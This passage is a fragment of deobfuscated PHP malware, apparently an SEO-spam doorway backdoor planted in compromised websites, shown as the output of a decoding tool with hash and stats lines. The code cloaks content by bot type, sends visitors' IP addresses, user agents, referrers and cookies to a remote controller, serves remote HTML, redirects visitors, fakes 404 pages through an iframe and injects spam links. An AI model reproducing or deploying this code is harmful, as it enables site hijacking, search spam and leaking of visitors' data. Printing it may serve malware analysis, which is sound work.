kie\'])){$h[\'Cookie\'].=\'; realquery=1\';}}$h[\'Connection\']=\'Close\';$opts=array(\'ssl\'=>array(\'verify_peer\'=>false,\'verify_peer_name\'=>false));if(function_exists(\'stream_socket_client\')&&(!$allow_function||in_array(\'socket\',$allow_function))){$s=stream_socket_client(($parse_url[\'scheme\']===\'https\'?\'ssl://\':\'\').$parse_url[\'host\'].\':\'.($parse_url[\'scheme\']===\'https\'?443:80),$errno,$errstr,30,4,stream_context_create($opts));if($s===false){d_error500(\'bs1\');}$h[\'Host\']=$parse_url[\'host\'];if($method===\'POST\'){$headers=\'POST \'.($parse_url[\'path\']?$parse_url[\'path\']:\'/\').(isset($parse_url[\'query\'])?\'?\'.$parse_url[\'query\']:\'\').\' HTTP/\'.$httpv."
";if(!isset($h[\'Content-Type\'])){$h[\'Content-Type\']=\'application/x-www-form-urlencoded\';}$h[\'Content-Length\']=strlen($data);}else{unset($h[\'Content-Length\']);unset($h[\'content-length\']);$headers=\'GET \'.($parse_url[\'path\']?$parse_url[\'path\']:\'/\').(isset($parse_url[\'query\'])?\'?\'.$parse_url[\'query\']:\'\').\' HTTP/\'.$httpv."
";}foreach($h as $k=>$v){$headers.=$k.\': \'.$v."
";}$headers.="
".(($method===\'POST\'&&$data)?$data:\'\');if(fwrite($s,$headers)===false){d_error500(\'bs1\');}$cont=\'\';while($bf=fread($s,2048)){$cont.=$bf;}fclose($s);list($headers,$cont)=explode("

",$cont,2);if(($ch_pos=stripos($headers,\'Transfer-Encoding:\'))!==false&&stripos($headers,\'chunked\')!==false){$tmp=$cont;$lrn=strlen("
");$cont=\'\';$ofs=0;do{$p=strpos($tmp,"
",$ofs);$len=hexdec(substr($tmp,$ofs,$p-$ofs));$cont.=substr($tmp,$p+$lrn,$len);$ofs=$p+$lrn*2+$len;}while($len!=0);$headers=substr_replace($headers,\'\',$ch_pos,stripos($headers,"
",$ch_pos)+1-$ch_pos);}}elseif(function_exists(\'curl_init\')&&(!$allow_function||in_array(\'curl\',$allow_function))&&($s=curl_init($full_url))!==false){if($method===\'POST\'){curl_setopt($s,CURLOPT_POST,1);curl_setopt($s,CURLOPT_POSTFIELDS,$data);}else{unset($h[\'Content-Length\']);unset($h[\'content-length\']);}if(isset($h[\'Host\'])){unset($h[\'Host\']);}$headers=array();foreach($h as $k=>$v){$headers[]=$k.\': \'.$v;}curl_setopt($s,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($s,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($s,CURLOPT_FOLLOWLOCATION,0);curl_setopt($s,CURLOPT_RETURNTRANSFER,1);curl_setopt($s,CURLOPT_HEADER,1);if($httpv===\'1.1\'){curl_setopt($s,CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);}elseif($httpv===\'1.0\'){curl_setopt($s,CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_0);}curl_setopt($s,CURLOPT_HTTPHEADER,$headers);$cont=curl_exec($s);curl_close($s);list($headers,$cont)=explode("

",$cont,2);}elseif(function_exists(\'file_get_contents\')&&(!$allow_function||in_array(\'file_get\',$allow_function))){$opts[\'http\'][\'follow_location\']=0;if($method===\'POST\'){$opts[\'http\'][\'method\']=\'POST\';$opts[\'http\'][\'content\']=$data;if(!isset($h[\'Content-Type\'])){$h[\'Content-Type\']=\'application/x-www-form-urlencoded\';}}else{$opts[\'http\'][\'method\']=\'GET\';unset($h[\'Content-Length\']);unset($h[\'content-length\']);}if(isset($h[\'Host\'])){unset($h[\'Host\']);}$opts[\'http\'][\'protocol_version\']=$httpv;$opts[\'http\'][\'timeout\']=30;$opts[\'http\'][\'header\']=\'\';foreach($h as $k=>$v){$opts[\'http\'][\'header\'].=$k.\': \'.$v."
";}$s=file_get_contents($full_url,false,stream_context_create($opts));if($s===false){d_error500(\'bs3\');}$headers=implode("
",$http_response_header);$cont=$s;}else{d_error500(\'bs0\');}if(stripos($headers,\'Content-Encoding:\')!==false){$cont=gzdecode($cont);if(!$cont){d_error500(\'bs0\');}}$headers=preg_replace("#(
|^)(Server|X-Powered-By|Content-Encoding):[^$]{1,}
#iU","
",$headers);return array(\'headers\'=>$headers,\'contents\'=>$cont);}function d_404(){header($_SERVER[\'SERVER_PROTOCOL\'].\' 404 Not Found\',true,404);$res=d_get_cont(d_get_protocol().$GLOBALS[\'ND_DOOR_DOMAIN\'].\'/404\');if(isset($res[\'headers\'])&&strpos($res[\'headers\'],\' 404 \')!==false){echo $res[\'contents\'];}else{echo \'<html>
<body>\'.str_repeat(\' \',400).\'<style>* {margin:0 !important;padding:0 !important;}</style><iframe name="error404" id="error404" src="//\'.$GLOBALS[\'ND_DOOR_DOMAIN\'].\'/404" onload="document.title=this.contentDocument?this.contentDocument.title:this.contentWindow.document.title" width=100% height=100% scrolling=auto frameborder=0 style="border:none !important"></iframe><script type="text/javascript">(function(el, w){function loadFunc(e){e = e || w.event;var f = e.target || e.srcElement, fb = f.contentDocument || f.contentWindow.document;document.title = fb.title;}if (w.addEventListener)el.addEventListener("load", loadFunc, false);else if (w.attachEvent)el.attachEvent("onload", loadFunc);})(document.getElementById("error404"), window);</script>
</body>
</html>\';}exit;}if(!isset($_GET[\'q\'])&&basename(__FILE__)===trim($_SERVER[\'REQUEST_URI\'],\'/\')){d_404();}switch(1):case 1:if($ND_IS_BAD_PAGE){set_bad_cookie();break;}$D_BAD_BOTS_SIGNS=\'tool|MJ12|PHP/|vip0|Ruby|curl|xovi|Yeti|frog|wget|SWeb|Java/|ccbot|email|roBot|Alexa|ezoic|AdBot|Neeva|nutch|ltx71|wesee|disco|MLBot|gonzo|Aport|dotbot|exabot|TinEye|python|github|MSNBot|DoCoMo|BUbiNG|JS\-Kit|woobot|007ac9|ezooms|Apache|wotbox|Ahrefs|hatena|iCjobs|magpie|express|diffbot|Blexbot|Cincraw|semrush|webcraw|archive|Postman|SBL\-BOT|ZoomBot|webster|yacybot|sistrix|Linguee|dsearch|HuntBot|GSLFbot|Unister|gigabot|harvest|Voyager|Bookmark|applebot|download|serpstat|openlink|nerdybot|scoutjet|blekkobo|rogerbot|aiHitBot|backlink|appengine|Grammarly|Amazonbot|webcopier|mindUpBot|Butterfly|FairShare|megaindex|lipperhey|WordPress|findlinks|collector|looksmart|Twitterbot|ScholarBot|Barkrowler|linkdexbot|linkwalker|User\-Agent|drupal\.org|Qualidator|Infohelfer|eb_germany|similartech|Analyzerbot|ZoominfoBot|meanpathbot|AskPeterBot|WBSearchBot|SolomonoBot|Updownerbot|AccompanyBot|AdsBot\-Google|DataForSeoBot|protectionbot|AwarioSmartBot|go\-http\-client|searchmetricsbot|aboundexbot|majestic|ncbot|pagesinventory|sitebot|spbot|pulnobot|JamesBOT|spyfu\';$D_GOOD_BOTS_SIGNS=\'GoogleBot|DuckDuckBot|Bingbot|yahoo|yandex\.com/bots|PetalBot|AOLBuild|SeznamBot|Qwantify|MojeekBot\';if(!$ND_IS_GOOD_PAGE&&!$ND_IS_FOR_REPLACE_PAGE){$GLOBALS[\'ND_LOCAL_USE_GETHOSTBYADDR\']=false;}$ND_IP=d_get_real_ip();$check_user=check_user(isset($_SERVER[\'HTTP_USER_AGENT\'])?$_SERVER[\'HTTP_USER_AGENT\']:\'\',$ND_IP);if($check_user===\'bad_bot\'){break;}d_ini_sets();$res_data_ses=get_data_ses();if(!$ND_IS_GOOD_PAGE&&!$ND_IS_FOR_REPLACE_PAGE){if($check_user===\'good_bot\'){if($GLOBALS[\'D_CHANCE_LINK_INJECT\']&&$_SERVER[\'REQUEST_URI\']!==\'/\'&&(($GLOBALS[\'D_URI_CRC32\']=abs(crc32($_SERVER[\'REQUEST_URI\'])))%10000<$GLOBALS[\'D_CHANCE_LINK_INJECT\'])&&is_array($GLOBALS[\'D_ARRAY_LINKS_INJECT\'])&&is_array($GLOBALS[\'D_ARRAY_TEXT_INJECT\'])&&(count($GLOBALS[\'D_ARRAY_LINKS_INJECT\'])-1)>=0&&(count($GLOBALS[\'D_ARRAY_TEXT_INJECT\'])-1)>=0){ob_start(\'d_replace_data\',0,PHP_VERSION_ID>=50400?(PHP_OUTPUT_HANDLER_STDFLAGS^PHP_OUTPUT_HANDLER_REMOVABLE):false);}}else{set_bad_cookie();}break;}if($ND_IS_GOOD_PAGE&&$_SERVER[\'REQUEST_URI\'][strlen($_SERVER[\'REQUEST_URI\'])-1]===\'/\'){header(\'Location: \'.substr($_SERVER[\'REQUEST_URI\'],0,-1),true,301);exit;}$query_string_sh=parse_url($_SERVER[\'REQUEST_URI\'],PHP_URL_QUERY);if(!isset($_GET[\'q\'])&&$query_string_sh){$pairs=explode(\'&\',$query_string_sh);foreach($pairs as $pair){$part=explode(\'=\',$pair);$get_params_decode[$part[0]]=count($part)>1?urldecode($part[1]):\'\';}$q=isset($get_params_decode[\'q\'])?$get_params_decode[\'q\']:substr($_SERVER[\'REQUEST_URI\'],1);}else{$get_params_decode=$_GET;}if(isset($_SERVER[\'REQUEST_URI\'])){$q=substr($_SERVER[\'REQUEST_URI\'],1);}if($query_string_sh){$q=str_replace(\'?\'.$query_string_sh,\'\',$q);$cl_prm_url=preg_replace("#(\&|^)(utm_[^=]{0,50}|fb_[^=]{0,50}|ga_[^=]{0,50}|pd_rd_[^=]{0,50}|pf_rd_[^=]{0,50}|itm_[^=]{0,50}|pk_[^=]{0,50}|sc_[^=]{0,50}|hmb_[^=]{0,50}|referer[^=]{0,50}|action_object_map|action_type_map|action_ref_map|aff_platform|aff_trace_key|algo_expid|algo_pvid|btsid|ws_ab_test|_encoding|ref_|ref|callback|cvid|form|mkt_tok|trkCampaign|gclid|gclsrc|spReportId|spJobID|spUserID|spMailingID|s_cid|elqTrackId|elqTrack|assetType|assetId|recipientId|campaignId|siteId|mc_cid|mc_eid|nr_email_referer|vero_conv|vero_id|yclid|_openstat|mbid|cmpid|cid|c_id|campaign_id|Campaign|hash|fbclid|refsrc|gs_l|gs_lcp|ved|gws_rd|gs_gbg|gs_mss|gs_rn|_hsenc|_hsmi|__hssc|__hstc|hsCtaTracking|source|position|tt_medium|tt_content|redircnt|feature|wt_zmc)=[^\&^$]{0,255}#i",\'\',$query_string_sh);$q=$q.($cl_prm_url?\'?\'.trim($cl_prm_url,\'&?\'):\'\');}if(substr($q,-7)===\'checkme\'){header(\'X-Robots-Tag: noindex\');$rr=d_get_cont(\'https://www.google.com/\');if(!$rr&&$rr!==null){exit(\'bad_connect_test\');}header(\'HTTP/1.1 200 OK\',true,200);exit(\'<!-- test -->\');}if($q===\'form\'.$GLOBALS[\'ND_DOOR_HASH\'].\'/request\'){header(\'X-Robots-Tag: noindex\');header(\'HTTP/1.1 200 OK\',true,200);exit(\'[{"status":true}]\');}if($q===\'inow\'.$GLOBALS[\'ND_DOOR_HASH\']||$q===\'inow\'.$GLOBALS[\'ND_DOOR_HASH\'].\'.txt\'){header(\'Content-Type: text/plain\');header(\'X-Robots-Tag: noindex\');header(\'HTTP/1.1 200 OK\',true,200);exit(\'inow\'.$GLOBALS[\'ND_DOOR_HASH\']);}if(isset($_SERVER[\'HTTP_REFERER\'])){$r=stripos($_SERVER[\'HTTP_REFERER\'],$GLOBALS[\'ND_DOOR_DOMAIN\']);if($r===false||$r>20||preg_match("#".$GLOBALS[\'D_GOOD_BOTS_SIGNS\']."#isU",$_SERVER[\'HTTP_REFERER\'])){$se_ref=$_SERVER[\'HTTP_REFERER\'];}}$cookie_name=strtolower(substr(md5(md5($GLOBALS[\'ND_DOOR_DOMAIN\'])),0,10));$data_request=array(\'domain\'=>$GLOBALS[\'ND_DOOR_DOMAIN\'],\'file\'=>$q,\'ip\'=>$ND_IP,\'user_agent\'=>isset($_SERVER[\'HTTP_USER_AGENT\'])?$_SERVER[\'HTTP_USER_AGENT\']:\'\',\'language\'=>isset($_SERVER[\'HTTP_ACCEPT_LANGUAGE\'])?$_SERVER[\'HTTP_ACCEPT_LANGUAGE\']:\'\',\'uniqueness_cookie\'=>(isset($_COOKIE[$cookie_name])?$_COOKIE[$cookie_name]:\'\'),\'url_from\'=>d_get_protocol().$GLOBALS[\'ND_DOOR_DOMAIN\'].\'/\'.rtrim($q,\'/\'),\'se_referrer\'=>isset($se_ref)?$se_ref:\'\',\'referrer\'=>isset($_SERVER[\'HTTP_REFERER\'])?$_SERVER[\'HTTP_REFERER\']:\'\',\'check_user\'=>$check_user,\'hash_data_ses\'=>$D_HASH_DATA_SES,\'use_ses\'=>$res_data_ses,\'is_for_replace_page\'=>$ND_IS_FOR_REPLACE_PAGE,\'version\'=>2,);if($ND_LOCAL_DNS_CHECK_IP){$data_request[\'local_dns_check_ip\']=true;}foreach($data_request as $k=>$v){if($v===true){$v=\'true\';}elseif($v===false){$v=\'false\';}elseif($v===null){$v=\'null\';}$data_request[$k]=base64_encode($v);}if(stripos($q,\'images\'.$ND_DOOR_HASH.\'/\')!==false){$is_webp=stripos($q,\'.webp\')!==false;$url=$GLOBALS[\'ND_SERVER_NAME\'].\'/\'.str_ireplace($ND_DOOR_HASH,\'\',$q);}else{$url=$GLOBALS[\'ND_SERVER_NAME\'].\'/index.php\'.(isset($gp[\'n\'])?\'?n=\'.((int)$get_params_decode[\'n\']):\'\');}global $cont_response;$cont_response=d_get_cont($url,$data_request,\'GET\',true,true,d_get_real_ip());if(!isset($cont_response[\'headers\'],$cont_response[\'contents\'])||strpos($cont_response[\'headers\'],\' 200 \')===false||strpos($cont_response[\'headers\'],\' 200 \')>30){d_error500();}if(isset($is_webp)&&strpos($cont_response[\'headers\'],\'ype: image/\')!==false){header(\'Content-type: image/\'.($is_webp?\'webp\':\'jpeg\'),true);exit($cont_response[\'contents\']);}$cont_response=json_decode($cont_response[\'contents\'],true);if(!isset($cont_response[\'status\'])){d_error500();}if(isset($cont_response[\'update_data_ses\'])&&$cont_response[\'update_data_ses\']){foreach($cont_response[\'update_data_ses\']as $var_global_name=>$value){$GLOBALS[$var_global_name]=$value;}$ND_NEED_UPDATE_DATA_SES=true;}if($ND_NEED_UPDATE_DATA_SES){set_data_ses();}if($cont_response[\'status\']==\'302\'){header(\'Referrer-Policy: no-referrer\');if(isset($cont_response[\'404r\'])){header($_SERVER[\'SERVER_PROTOCOL\'].\' 404 Not Found\',true,404);exit($cont_response[\'redirect\']);}header(\'Location: \'.$cont_response[\'redirect\'],true,isset($cont_response[\'redir_type\'])?$cont_response[\'redir_type\']:302);exit;}if($cont_response[\'status\']==\'6\'){break;}if($cont_response[\'status\']==\'0\'){break;}header(\'Vary: Accept-Encoding\');header(\'Cache-Control: max-age=604800\');header(\'Content-Type: text/html; charset=utf-8\');if(isset($cont_response[\'set_headers\'])&&!empty($cont_response[\'set_headers\'])&&is_array($cont_response[\'set_headers\'])){foreach($cont_response[\'set_headers\']as $set_header){header($set_header,true);}}if($cont_response[\'status\']==\'8\'){if($check_user===\'good_bot\'&&$GLOBALS[\'D_CHANCE_LINK_INJECT\']&&$_SERVER[\'REQUEST_URI\']!==\'/\'&&(($GLOBALS[\'D_URI_CRC32\']=abs(crc32($_SERVER[\'REQUEST_URI\'])))%10000<$GLOBALS[\'D_CHANCE_LINK_INJECT\'])&&(count($GLOBALS[\'D_ARRAY_LINKS_INJECT\'])-1)>=0&&(count($GLOBALS[\'D_ARRAY_TEXT_INJECT\'])-1)>=0){ob_start(\'d_replace_data\',0,PHP_VERSION_ID>=50400?(PHP_OUTPUT_HANDLER_STDFLAGS^PHP_OUTPUT_HANDLER_REMOVABLE):false);}break;}if($cont_response[\'status\']==\'9\'){break;}if($cont_response[\'status\']!=\'1\'){d_error500();}if($cont_response[\'set_html\']){exit($cont_response[\'set_html\']);}if(isset($cont_response[\'links\'])&&!empty($cont_response[\'links\'])){$cont_response[\'links\']=json_decode($cont_response[\'links\'],true);$link=0;$gb_link=0;}if(isset($cont_response[\'uniqueness_cookie\'])&&!empty($cont_response[\'uniqueness_cookie\'])){setcookie($cookie_name,$cont_response[\'uniqueness_cookie\'],time()+2592000,\'/\');}if(isset($cont_response[\'image_data\'])&&!empty($cont_response[\'image_data\'])){exit(base64_decode($cont_response[\'image_data\']));}$ND_NEED_TEMPLATE=true;endswitch;?>'<?php ;');

Function Calls

None

Variables

None

Stats

MD5 89a96a646529eed481cde7f227cfccd9
Eval Count 0
Decode Time 56 ms